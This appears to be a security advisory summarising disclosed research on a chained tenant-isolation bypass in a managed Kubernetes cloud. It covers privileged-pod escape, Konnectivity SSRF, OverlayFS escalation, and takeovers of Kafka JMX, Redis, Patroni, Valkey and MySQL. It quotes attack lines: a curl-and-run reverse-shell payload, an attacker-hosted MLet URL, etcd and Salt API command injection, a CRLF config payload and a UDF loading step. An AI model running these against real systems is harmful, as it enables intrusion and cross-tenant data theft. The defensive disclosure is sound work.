Isolation Bypass in Managed Kubernetes Service (k0s v1.25.16) Threatens Tenant Separation
What It Is — A Kaspersky research team demonstrated a chained exploitation of several flaws in a major cloud provider’s managed Kubernetes offering (k0s v1.25.16+k0s.0). By creating a privileged pod, the attackers escaped the worker node, abused a Konnectivity‑service SSRF primitive to reach the control‑plane host, and leveraged an OverlayFS capability bug to obtain root on the control plane. The chain culminated in full control of the provider’s tenant‑isolation mechanisms, effectively breaking the logical separation between customers. All issues have been disclosed and patched by the provider.
In late October 2026, security researcher Matvey Bukhtoyarov of Kaspersky Security Services disclosed a chain of flaws that allowed an external attacker, limited to the privileges of a regular tenant, to break through the isolation mechanisms of a major cloud provider’s managed Kubernetes service. The findings, which earned second place in the System Hacking (Web & Logic) category of the Russian Pentest Award 2026, were later presented in Bukhtoyarov’s “Smash the Tenant Boundary” talk at the Security Analyst Summit (SAS 2026) on 22 October 2026.
The exploitation began by creating a privileged pod in a managed Kubernetes cluster running version v1.25.16+k0s.0. Although the provider normally blocks SSH access to worker nodes, the cluster’s security policies mistakenly allowed pods with host‑namespace access. By deploying a pod with hostPID: true and a privileged security context, the researchers could invoke nsenter from inside the container, effectively moving the shell onto the underlying host and gaining full root rights on the worker node.
While inspecting the compromised host, the team discovered a Konnectivity service token. Konnectivity, which tunnels traffic between the control plane and data plane, was listening on port 8132. A scan of the node’s internal IP 192.168.0.4 revealed several open services, including HTTPS on 9443 (returning 404), etc., but the most critical was the Konnectivity endpoint. The token granted the attacker permission to interact with this reverse‑tunnel service.
Further analysis showed that the cluster used a fork of konnectivity‑server derived from the upstream apiserver‑network‑proxy. The service, identified as AgentService, exposes a single RPC method, Connect, which streams packets. When the server receives a DIAL_REQ packet from a worker node, it invokes net.Dial() on the control‑plane side, effectively allowing the attacker to direct outbound connections from the control plane. This behavior opened the path for the subsequent stages of the multi‑step breach.
The Konnectivity server reads each Packet from the gRPC stream opened by a worker‑node agent, pushes the packet onto a receive channel, and then routes it to a backend manager. When the packet’s type field equals DIAL_REQ, the server logs a “Received DIAL_REQ” entry with the target address and forwards the packet to handleDialRequest. Inside that handler the code extracts the DialRequest fields, mirrors the random identifier into the response, records the start time, and then calls net.Dial using the attacker‑controlled protocol and address values.
Because the net.Dial call runs in the control‑plane process, the request creates a server‑side request‑forgery (SSRF) primitive that can reach any network endpoint reachable from the control plane, including local UNIX sockets such as /run/dbus/system_bus_socket. Probing that socket with the busctl utility revealed the following D‑Bus services: org.freedesktop.DBus, org.freedesktop.PackageKit, org.freedesktop.PolicyKit1, org.freedesktop.login1, org.freedesktop.systemd1, and com.ubuntu.SoftwareProperties.
A custom D‑Bus client built on github.com/godbus/dbus/v5 invoked org.freedesktop.DBus.GetConnectionCredentials, which returned UID 997 for the current process. Although this UID was not root, the attackers enabled lingering for it with a busctl call to org.freedesktop.login1 (SetUserLinger 997 true false), causing the creation of /run/user/997/bus and /run/user/997/systemd/private sockets. Through the latter they called org.freedesktop.systemd1.Manager.StartTransientUnit, supplying an ExecStart that fetched a payload via curl and executed it ( /bin/sh -c "bash -lc 'curl ip:port/payload -o /tmp/love;chmod +x /tmp/love; setsid /tmp/love '" ). The payload successfully opened a reverse‑shell connection from the control plane.
Mirantis, the maintainer of the k0s project, publicly confirmed the flaw. After achieving remote code execution on the control plane, the researchers turned to privilege escalation. Process inspection on the compromised host showed a running salt‑minion service, and the machine was identified as Ubuntu 22.04 with a 5.15‑series kernel. Because user namespaces were enabled, a known OverlayFS bug allowed a file to retain the cap_setuid+eip capability after namespace manipulation, providing a path to root.
The escalation exploit created a temporary workspace under /tmp/lpe, copied /usr/bin/python3 into a lower overlay layer, set the cap_setuid+eip capability on the copy, and mounted an overlay filesystem (lowerdir=l, upperdir=u, workdir=w). After confirming the capability with getcap, the attacker executed the patched python binary, which called os.setuid(0) and spawned a root shell. The temporary directory was then removed, leaving the system compromised.
The attackers began by spawning a new user namespace with unshare, then used a one‑liner to build an overlay filesystem: they created four directories (l, u, w, m), copied the host’s /usr/bin/python3 into l, made it executable, granted it the cap_setuid capability, and mounted an overlay with l as the lower layer and u as the upper layer. After confirming the capability with getcap /tmp/lpe/u/python3, they executed the binary with a Python payload that called os.setuid(0) and launched a shell, which returned the expected “uid=0(root)” output, proving they now had root privileges on the host.
Root access immediately exposed the host’s networking layout. An eth2 interface on the 100.64.0.0/10 address space was visible, showing that the cloud’s overlay network was flat and gave the attacker sight of every managed service. The filesystem also contained a Salt‑minion key pair, meaning the intruder could authenticate to the provider’s SaltStack control plane and issue privileged commands across the environment.
Within the same overlay, traffic analysis identified a metrics collector at 100.64.13.37:8429 belonging to a VictoriaMetrics instance. Querying its /api/v1/targets endpoint returned a list of targets, each labelled with details such as __address__: http://100.64.1.1:6897/metrics, cluster_id: 676767, customer: customerID, vds_id: 1337, and profile: kubernetes. The presence of port 6897 signaled that the kube‑state‑metrics exporter was running, confirming that the endpoint represented a control‑plane component of another tenant. A second service, VictoriaLogs, was reachable on port 9428; its /select/logsql/query API allowed unauthenticated queries that returned logs from any managed resource. Examination of the cloud‑init logs revealed that root SSH keys were generated automatically, printed to stdout, and stored in shared system logs. By matching the label data from VictoriaMetrics with entries in VictoriaLogs, the researchers could reconstruct the original hostnames and locate a private SSH key that, once extracted, could be used to SSH into the corresponding node and take over other tenants’ clusters.
The team also probed managed Apache Kafka instances that appeared on the same flat overlay. One Kafka broker exposed port 9999, which turned out to be a JMX Registry. Because the JMX Registry returns an RMI stub, it can be abused to load arbitrary MBean classes and execute code remotely. After an nmap -sC scan identified the exact RMI service port, the attackers compiled a set of Java tools: JmxCreateMBean.java to connect to the registry and instantiate a javax.management.loading.MLet MBean that loads classes from a supplied URL, JmxInvoke.java to call methods on the created MBean, and ExecMBean.java/Exec.java, lightweight MBeans exposing a run(String cmd) method for remote command execution. The source code showed a custom RewritingSocketFactory that rewrites host/port pairs, the construction of a JMX service URL, and handling of InstanceAlreadyExistsException when creating the MBean.
The researchers built a custom Java MBean named Exec that implements three management‑interface methods: run(String cmd), which spawns a /bin/sh process and returns the exit code and combined stdout/stderr; getB64(String path), which reads a file and returns its Base64‑encoded contents; and putB64(String path, String b64), which decodes a Base64 string and writes the resulting bytes to the specified path. After compiling the class, they packaged it into an execmbean.jar file, hosted the JAR on a remote web server, and created an mlet.html page containing an <mlet> element that references the JAR and registers the bean under the name payload:type=Exec.
To weaponise the bean, the attackers instantiated a standard MLet loader inside the Kafka JVM and invoked the getMBeansFromURL operation of the built‑in DefaultDomain:type=MLet component, passing the URL http://<attacker_ip>:8000/mlet.html. The loader fetched the JAR, instantiated the Exec MBean, and the adversary then called its run method with an arbitrary shell command, achieving remote code execution on the Kafka broker. This chain succeeded because the RMI stub, which should have been bound exclusively to the loopback address (127.0.0.1) according to security best‑practice, was inadvertently exposed on the cloud provider’s shared overlay network, allowing external hosts to reach it.
A second foothold was gained through the Redis exporter that runs on port 9121 alongside the primary Redis service on port 6379. The exporter’s /scrape HTTP handler builds a target URL from the target query parameter, and if the parameter lacks a scheme it silently prefixes redis://. Because the handler does not validate the host, an attacker can point it at a malicious server (for example, nc -nvlp 6379) and cause the exporter to forward its own Redis credentials to that server. The intercepted AUTH command revealed passwords that granted the attackers read, write, and delete access to other tenants’ Redis instances. The researchers also noted that a separate Redis remote‑code‑execution vulnerability disclosed during their work could be combined with these stolen credentials to fully compromise additional services.
Finally, the team examined managed PostgreSQL clusters orchestrated by Patroni. Network scans identified PostgreSQL listeners on port 5432, an etcd key‑value store on port 2379, and the Patroni REST API on port 8008. While the REST API required authentication, etcd allowed unrestricted access. Inside etcd the key /v2/keys/service/pg-cluster/config stored the Patroni configuration, which included a ttl of 30 seconds, loop_wait 10, retry_timeout 10, and a maximum_lag_on_failover of 1 048 576. Crucially, the postgresql.parameters section set archive_command to the literal string id and archive_mode to always, with other limits such as max_connections 550, max_locks_per_transaction 512, and max_worker_processes 27. Because archive_command is executed by PostgreSQL during WAL archiving, the attacker could leverage this misconfiguration to run arbitrary commands on the database host.
Patroni configuration abuse – By writing to the etcd key that stores the Patroni service definition, the attackers issued a curl -X PUT request against http://localhost:2379/v2/keys/service/<CLUSTER_NAME>/config, injecting a JSON payload that set archive_command to a malicious string (“rce”), turned archive_mode on, and reduced archive_timeout to ten seconds. A subsequent update added a standby_cluster entry pointing at 192.0.2.1:5432. When Patroni applied the new settings it logged “cannot be a real primary in standby cluster”, demoted the node, performed an immediate fast shutdown, and restarted PostgreSQL. The forced archiving cycle then executed the attacker‑supplied command, giving the threat actor remote code execution on the host and the ability to connect to other tenants’ PostgreSQL instances.
Data exposure – After the RCE, investigators found credential files for S3 storage on the compromised machines. Those files contained the access keys used by the backup service, which stores not only the current instance’s snapshots but also the backups of every other database in the cloud environment. This meant that a single compromised node could be leveraged to retrieve the full set of stored backups across the multi‑tenant platform.
SaltStack compromise – With root on the control‑plane node, the team dumped the entire Salt master filesystem using a loop of salt-call cp.list_master and cp.get_file commands, writing each file to /tmp/dump. Although the Salt version itself was up‑to‑date and free of known CVEs, a custom pillar script (_pillar/somebase.py) built SQL statements via query.format(). A malicious minion could trigger a pillar refresh, inject arbitrary metadata (grains), and cause the master to execute the crafted query, resulting in an error‑based SQL injection. The exploit exposed the cloudsmth schema (≈50 tables) and, critically, the salt-masters table that stored authentication tokens for all Salt masters. Using one of those tokens, the attackers demonstrated API access with a curl -k https://salt-master:8000 … -d '[{"client":"local","tgt":"hostname-minion","fun":"cmd.run","arg":["id; hostname"]}]' request, which would have allowed arbitrary command execution on any minion. The vendor agreed not to pursue further exploitation, but noted that the same foothold could have granted control over VDS, S3, and other services in a single step.
Valkey vector – Separate analysis of the managed Valkey instances revealed they were running version 7.2.11, which is vulnerable to CVE‑2026‑25243. At the time of investigation no public proof‑of‑concept or exploit existed, but the INFO command output showed a build identifier (redis_build_id=a75ca2f023d97d88) matching the official Ubuntu Noble x86_64 package, confirming the exact binary in use.
CVE‑2026‑25243 stems from the way the RESTORE command processes serialized RDB objects when the legacy hash‑zipmap encoding is used. The validator mistakenly accepts a 5‑byte length field for a short key, but the subsequent parser reads the key’s internal bytes as the value‑length encoding. This discrepancy triggers an out‑of‑bounds write that corrupts adjacent heap chunks, creating a heap‑overflow condition that can be leveraged into an arbitrary‑write primitive. Once the attacker achieved an arbitrary write, the strict systemd sandbox applied to the Valkey service presented a barrier:
NoExecPaths=/
ExecPaths=/usr/bin/valkey-server /usr/lib /lib
CapabilityBoundingSet=
NoNewPrivileges=true
PrivateUsers=true
ProtectSystem=strict
ProtectHome=true
SystemCallFilter=@system-service
SystemCallFilter=~@privileged @resources
These settings block execution of typical shells such as /bin/sh, yet the /tmp directory remained writable and was not covered by the NoExecPaths rule. By altering the process flow, the attackers caused the service to download a third‑party binary into /tmp and execute it, bypassing the sandbox’s no‑exec restriction. After establishing a stable channel, they placed an SSH public key in /var/lib/valkey/.ssh/authorized_keys, granting them persistent, independent access to the host and a foothold for further local privilege escalation.
The Valkey process context and associated Salt grains parameters showed that the “GRO Frag” vulnerability was successfully triggered in this environment. Analysts noted that new local‑privilege‑escalation (LPE) techniques emerge weekly, meaning additional escalation paths likely existed beyond the one demonstrated. The compromised SSH key allowed the attackers to run standard LPE exploits, potentially elevating their rights to root despite the sandbox’s protections.
In parallel, the MySQL component of the stack suffered from overly permissive application logic. The database user initially lacked root privileges, but the software allowed that user to drop and recreate the mysql.global_grants table, then to drop and rebuild the mysql.user table with a schema that set almost every privilege column (e.g., Select_priv, Insert_priv, Update_priv, Delete_priv, Super_priv, etc.) to 'Y' by default. This effectively granted the attacker full administrative rights within MySQL, despite the original account’s limited permissions. The recreated mysql.user table also included fields for SSL configuration, password policies, and role management, all of which could be manipulated to further harden the attacker’s control over the database.
The MySQL user table in the compromised instance listed a full set of privilege columns—Create_routine_priv, Alter_routine_priv, Create_user_priv, Event_priv, Trigger_priv, Create_tablespace_priv—each defined as an enum defaulting to ‘Y’. Additional fields such as ssl_type (enum ‘’, ‘ANY’, ‘X509’, ‘SPECIFIED’), plugin (default caching_sha2_password), account_locked (enum ‘N’, ‘Y’), and various password‑policy columns were also present, with the primary key on (Host, User) and the table stored using InnoDB with UTF‑8 mb3 encoding.
After the database service was restarted, a new account named newadm was created and, because of the default privilege settings, automatically inherited full administrator rights. The attackers then explicitly added three global grants for that user—SYSTEM_VARIABLES_ADMIN, PERSIST_RO_VARIABLES_ADMIN, and SYSTEM_USER—by inserting rows into mysql.global_grants and issuing a FLUSH PRIVILEGES to apply the changes.
To obtain remote code execution, the threat actors compiled a custom User‑Defined Function (UDF) library named rce.so. The source code defines a sys_eval function that accepts a single string argument, builds a command buffer, executes the command with popen(), captures the output, and returns it as a MySQL string. The library’s sys_eval_init routine validates the argument count and sets a maximum result length of 65 535 bytes.
The final escalation step leveraged a CRLF injection through the cloud provider’s DBAAS API. Using a bearer token ($TOKEN), the attackers sent a curl -X PATCH request to https://somecloud/api/dbaas/id with a JSON body that injected newline characters into config_parameters:
{
"config_parameters": {
"default-time-zone":"+00:00\nsecure_file_priv=\nplugin_dir=/var/lib/mysql-files/\ndefault-time-zone=+00:00\n#"
}
}
This payload overwrote secure_file_priv (removing write restrictions) and set plugin_dir to /var/lib/mysql-files/, a directory writable by the MySQL process. With those permissions, they executed:
SELECT UNHEX('$hex') INTO DUMPFILE '/var/lib/mysql-files/rce.so';
to drop the malicious shared object, then restarted MySQL and registered the function:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'rce.so';
The newly created sys_eval UDF allowed arbitrary system commands to be run from SQL, completing the isolation bypass and granting the attackers full remote code execution on the cloud‑hosted database.
The investigators examined the list of active services to locate a route for local privilege escalation. They discovered that mysql‑watcher.service ran with administrator privileges and periodically invoked a Python script that accessed MySQL through the system client. To exploit this, the team compiled a malicious authentication plug‑in written in C that, when loaded, executes a command to copy /bin/bash to /tmp/rbash and set the SUID bit on the copy.
The attackers then altered the MySQL client configuration by adding the directory containing the malicious .so file to the plugin_dir parameter and specifying the plug‑in name with default‑auth=plugname in the [client] section of /etc/mysql/my.cnf. The next time mysql‑watcher.service started the MySQL client as root, the plug‑in ran on the host, creating the SUID‑enabled Bash interpreter at /tmp/rbash and completing the chain that granted full host compromise.
The report concluded that the cloud provider’s reliance on custom, in‑house components rather than standard open‑source solutions expanded the attack surface. Although additional, more routine vulnerabilities were found, they were omitted from the public disclosure. The vendor received a set of recommendations aimed at hardening the environment, including isolating managed services to eliminate inter‑service network visibility, enforcing strict AppArmor profiles for service processes, and implementing monitoring for the usage of potentially vulnerable services.
Affected Products — Managed Kubernetes service based on k0s v1.25.16+k0s.0 (cloud‑provider‑agnostic).
Why It Matters for Trust & Control Assurance — The incident tests the “isolation of tenant environments” control objective; proving that a breach of this control can invalidate multiple framework attestations at once.
Recommended Actions —
- Review and harden pod security policies to block privileged pods and host‑namespace access.
- Audit Konnectivity service configurations; enforce token‑scope restrictions and monitor unexpected DIAL_REQ traffic.
- Patch OverlayFS and related kernel modules; disable unneeded user‑namespace features.
- Implement continuous monitoring of control‑plane exposure (open ports, services) and integrate findings into a vendor‑risk evidence repository.
- Conduct regular third‑party penetration testing of managed services and map results to your control framework.
Source: https://securelist.com/cloud-infrastructure-isolation-bypass/121609/